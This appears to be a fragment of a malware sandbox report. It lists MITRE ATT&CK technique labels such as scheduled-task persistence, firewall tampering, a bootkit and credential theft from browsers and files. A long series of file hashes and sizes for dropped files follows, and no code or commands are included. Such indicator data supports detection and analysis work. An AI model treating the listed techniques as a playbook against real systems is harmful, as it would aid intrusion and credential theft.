1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
6Pre-OS Boot
1Bootkit
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.3MB
MD5ad823965fda5d6901ab6a2bc0e153cee
SHA17ebaec14300ef03501785e9bc1637963ebbc49b0
SHA2562c9a19274f314a4f2f728c51dc117196f7c176c6952275e3ba58184a2d6a95d9
SHA5121c8897f5abbed300029c229b52c5fefd4ec1731cf71b1463f2a81ee085ea0190d766684b2c3057eb0fa6ddedfe97aae9c6c940bb8cdd90c226c02b406c42f9b9
-
Filesize
944B
MD57d760ca2472bcb9fe9310090d91318ce
SHA1cb316b8560b38ea16a17626e685d5a501cd31c4a
SHA2565c362b53c4a4578d8b57c51e1eac15f7f3b2447e43e0dad5102ecd003d5b41d4
SHA512141e8661d7348ebbc1f74f828df956a0c6e4cdb70f3b9d52623c9a30993bfd91da9ed7d8d284b84f173d3e6f47c876fb4a8295110895f44d97fd6cc4c5659c35
-
Filesize
1.2MB
MD5cd479d111eee1dbd85870e1c7477ad4c
SHA101ff945138480705d5934c766906b2c7c1a32b72
SHA256367f8d1bfcf90ae86c0c33b0c8c9e6ec1c433c353d0663ebb44567607402c83d
SHA5128b801bfbb933e0dc77090555fa258d416cbe9ed780fb1821aed532a979617082b29e0b6f8fb85f73a9e93c98981426c92c498a41c49f823707da3e6b7bb30128
-
Filesize
699KB
MD5ff84853a0f564152bd0b98d3fa63e695
SHA147d628d279de8a0d47534f93fa5b046bb7f4c991
SHA2563aaa9e8ea7c213575fd3ac4ec004629b4ede0de06e243f6aad3cf2403e65d3f2
SHA5129ea41fe0652832e25fe558c6d97e9f9f85ccd8a5f4d00dbcc1525a20a953fbd76efb64d69ce0fdd53c2747159d68fcb4ac0fa340e0253b5401aebc7fb3774feb
-
Filesize
794KB
MD5ab1187f7c6ac5a5d9c45020c8b7492fe
SHA10d765ed785ac662ac13fb9428840911fb0cb3c8f
SHA2568203f1de1fa5ab346580681f6a4c405930d66e391fc8d2da665ac515fd9c430a
SHA512bbc6594001a2802ed654fe730211c75178b0910c2d1e657399de75a95e9ce28a87b38611e30642baeae6e110825599e182d40f8e940156607a40f4baa8aeddf2
-
Filesize
289KB
MD5ebe6bc9eab807cdd910976a341bc070d
SHA11052700b1945bb1754f3cadad669fc4a99f5607b
SHA256b0353f4547466a0a402198b3750d928fc7c4e96dd3adc00b181e9d98e4602ea7
SHA5129a6bfcb90c1e24be1b930990dd2af72e889f71ad7e1a7b8353b6522a625e2ae36013793ee2c159880bd510b8f785ce4c9dfced1d2901d3ca8f091e26084185a8
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1.0MB
MD598ec05a414d61fbda2bebf65ee8a28ab
SHA1472b24c2bc4600ab0b83b0344ef2e543e6635a79
SHA256d62f7aa61599d5366964c419c7c2afd364e61753d1d7ba6888ae51bb65555cbd
SHA5120773dd9151d15f989912403df1b8754884b8a802500fca307d7675f5ad78774477cf671785d0603adafa408f91258fb1d7be4b6761a117f02714e305374f9f14
-
Filesize
1.2MB
MD5a68f97544c9b41270008b8bf68992a75
SHA1a1ccc56eca977792cf7a751dff4ebf1f8afe8591
SHA256eae2bbca8b001849a03bad0b21d9e876c1931685ce37876e08a9dc77e022bfad
SHA5129bb6e21c98dada07b3c0d0c7f6addaf9d043441282fc5df4c5f348fffac047e5e662ef92a9f9df617cab79e1abbbb8648a4a3a32c1f2044aebf278fcdbdf68b3
-
Filesize
643KB
MD55c2ed2918e16a5391a075cac5ea253f8
SHA165b69a1fbc7c7192ba16d3d82bbc5311b34ee6c6
SHA256ff505670ae62fd1bfca0bf10d8cfb7874e3f5d5c823f5c8acf9e796cda5a1943
SHA512f1a75b9246810613b1862c357d313ef1a681e60992a24d597380b5bcdb7e302918c3e74a7739428573e015cccf1672b789277169fee8f0db91c2f207f66189ec
-
Filesize
315KB
MD56334c037e4d195c0c3784b24d3630be5
SHA1c0b855763f7338447ed66475a37b79588bd88084
SHA25660a28dabb7b2682e11302dbbfa4b49d74d57c42b603661840a8ecc6adb0beaf0
SHA512342dca729c250d4ea1f616a1c2c2938cd4f7082c4ac5ecc6e5539de98cf9442f043e7dd2e872f85307e5629dd26c44c2005665a572207e808c71de6a8e68b084
-
Filesize
5.2MB
MD5ccaf8b6a14e94e5163c55b0b84a6a97c
SHA147c67a525e642808a1ce9a6ce632bc1e1fd3dfae
SHA256966b5aa687ca823f72ed6054802e3347908fe1ace10336e682d96d5d66db68ae
SHA512e82c8dd091dec5cb4e522296784c8e586a186af10598b6ad9f9feaa996c0898bb6988f602e8a32741a24bcb9f4c11e07d806e3323a46aeaafaee93b7cc1756c7
-
Filesize
335KB
MD576a0b06f3cc4a124682d24e129f5029b
SHA1404e21ebbaa29cae6a259c0f7cb80b8d03c9e4c0
SHA2563092f736f9f4fc0ecc00a4d27774f9e09b6f1d6eee8acc1b45667fe1808646a6
SHA512536fdb61cbcd66323051becf02772f6f47b41a4959a73fa27bf88fe85d17f44694e1f2d51c432382132549d54bd70da6ffe33ad3d041b66771302cc26673aec7
-
Filesize
565KB
MD554075ad554d012f139b7d2ea7ccb7e72
SHA154a7ffaf3658addbec2c945a9aeec14d8f5c3e79
SHA256c82c78bb017655f5d67e1780b4471f6aee04fd7f5ce85f500f9bdee7f21221ba
SHA512cf82d19fef31bda96427096124a2843123649a69ce25a64e12d2b14a1c901b953bdf3e0d2101944f09976e3b248fbfb1dd07df4999d68c83acaab440b2159798
-
C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
Filesize739KB
MD5382430dd7eae8945921b7feab37ed36b
SHA1c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128
SHA25670e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b
SHA51226abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b
-
C:\Users\Admin\AppData\Local\Temp\ultradrp\[email protected]
Filesize816KB
MD57dfbfba1e4e64a946cb096bfc937fbad
SHA19180d2ce387314cd4a794d148ea6b14084c61e1b
SHA256312f082ea8f64609d30ff62b11f564107bf7a4ec9e95944dfd3da57c6cdb4e94
SHA512f47b05b9c294688811dd72d17f815cce6c90f96d78f6835804d5182e2f4bfbd2d6738de854b8a79dea6345f9372ba76a36920e51e6cb556ef4b38b620e887eb4
-
Filesize
1.6MB
MD5b4bb269011c062cb169969258ab0e1b9
SHA16f17b1266eabfad46eee405f8245c604468a52c5
SHA256bd1d4e5e6380d4e4c398b3bd1f3bfc20ffa576c004773b1f637fd272b771c125
SHA512e89088f16658ac3d5d69808080b47638a4f5d699ac3569cc88b07e3a8f4666e89e570cfb4512c161e8ccf9b5537e7ea281fc440b06b7484af33b94f55ecacd43
-
Filesize
5.4MB
MD53c23db5eff4d85d8ff9addb170e32d53
SHA11f109f5b9b17a71e4ef7e200fccab72b21836017
SHA256c2c694174fbf54aa19e05636589ac4eaf81d6b342c96be869bf57da18b930d98
SHA512ad428facaddaba14acc1979ad6d93c4f665f58b4c9d14b28f2c0c1818290abe9dbbbd4e1c464bd8d38caebb101d6e4e85cf85fdaf423a0f3f5d0d134d8953f69
-
Filesize
1.3MB
MD54a9ffb6962544b4dd55ce6ff568810b7
SHA1a04a58215250d0bbe79fd946e6f5a73e8be27133
SHA2568102f6139e928e1e844e7625f41bfa2b65f6ba05e95c43f1ecb329d72a91592b
SHA5125b7e84b8a49200960a5312a373ef6245c2d997b5e3b9a761cb15a83ffe2edf9dc860c1bcd7ebb9eb7cd774c6f1364d505016446f713acfdfb682bb01c148053b
-
Filesize
534KB
MD556bb8500d7ab6860760eddd7a55e9456
SHA1e9b38c5fb51ce1a038f65c1620115a9bba1e383d
SHA256b4bead39ead2a29de2f0a6fb52eea172cfe25224b71e4a9b1418f55c8b053d59
SHA51283ceff476d071412b02bab0753bd3c4440937b663397d73349fa90c38d96cf88051b645c781cbe5de281aa3bd45e71da7fcc8c99c2846ce29c2f36c3e1307a84
-
Filesize
1.1MB
MD58402ded9b2f0c07d7aca42ffc021faa7
SHA13da8599a38ad4c3a51ea4316273d648982aa3161
SHA256aa8480766448a63a9e7d3f5463ceb7c0539148d42412cfe4ec9572edf97f4bba
SHA51268e23954f73259708bdc4d384c10442d8d06a40a540758925126e58769b9f6dd3f6f8a3a2beebc28029ba97e657ff173de1dc2ad793f20da0581317df5161d26
-
Filesize
2.7MB
MD5ff461f6e26216dea2575082406f0be8a
SHA15f53eb73469d2770308c248b3379c67cdb731f26
SHA25665046cfd956eb010ea8b5a530e0655cacaa183053ac15dd05003dc0e55904b79
SHA512b6fbd71229e063433794ab99acd410ec9047f8f504450f19b2b19327bf189da8862c7052df91f97cfe598a03ef4aabe123af8ad378f74294298fcb512dba50d1
-
Filesize
1.2MB
MD561c89dc8b55c3e28b67e9f086c5930fb
SHA13098b3aa47e0180d3c68e5004ea53241ab59e2c7
SHA256f419cea0dc3b585499f65ff8bdfa33f0a673361d09d1bb81411303fabf5aac1e
SHA512b08d4c8fca98fdfdedd516ca3f870873441cbca72422bc0f3a53205ecd499f08436e42716a54a8b14b6dd8cb236852548aadc9f9a7f8e82d282caf40e42b8dc1
-
Filesize
22KB
MD58703ff2e53c6fd3bc91294ef9204baca
SHA13dbb8f7f5dfe6b235486ab867a2844b1c2143733
SHA2563028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035
SHA512d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204
-
Filesize
898KB
MD508f223ac15e2e92561ed310ae71415c1
SHA10a871a4b376bd8771188b96a9a1bb6fe1205160d
SHA25651f2aec8b6de1e49b1ca74203afd380484932b07067a91f027548bc20b8967ec
SHA5129acc7b4976c23fa019361b52eb22dcdfbf0bb1039aa8c8e74507f0501709616757a2d762d0478956a03bfadecdee812c9aa2360655891ab4ed1de96f35e23cd4
-
Filesize
28KB
MD5edc4f10a5e164db64bf79eca207f2749
SHA1d08eb761a5446a4409a72f3af3fb8dd60eec7c92
SHA256ce6421107031175f39e61d3bcc5a98d1d94190e250034e27cdbebbadcba084a4
SHA512e974a32096cc58c1a78c7aa8714b8b8b7a202859905a28d5ce61fd9a563382a7577825e8c9ee612d7ba708f3efef01a43d07df03e7c1e3e52d0cb32240d5d15d
-
Filesize
207B
MD5c976abe88c50259f846e4a7f9219c0e4
SHA10b8221670e970136114bfa60e95226cdfeda740e
SHA256c912de4503819861b8f5053c4da777a73279aba052f9d4710cdb9facd62304d7
SHA512e0fe8084c80f37e57b86fc3110f72acaec2e81dedf6a90488960891c2bd8d30728ec7ad763b7e8be299e56becfdbce93c08004efbe9eab92f9808f6109675715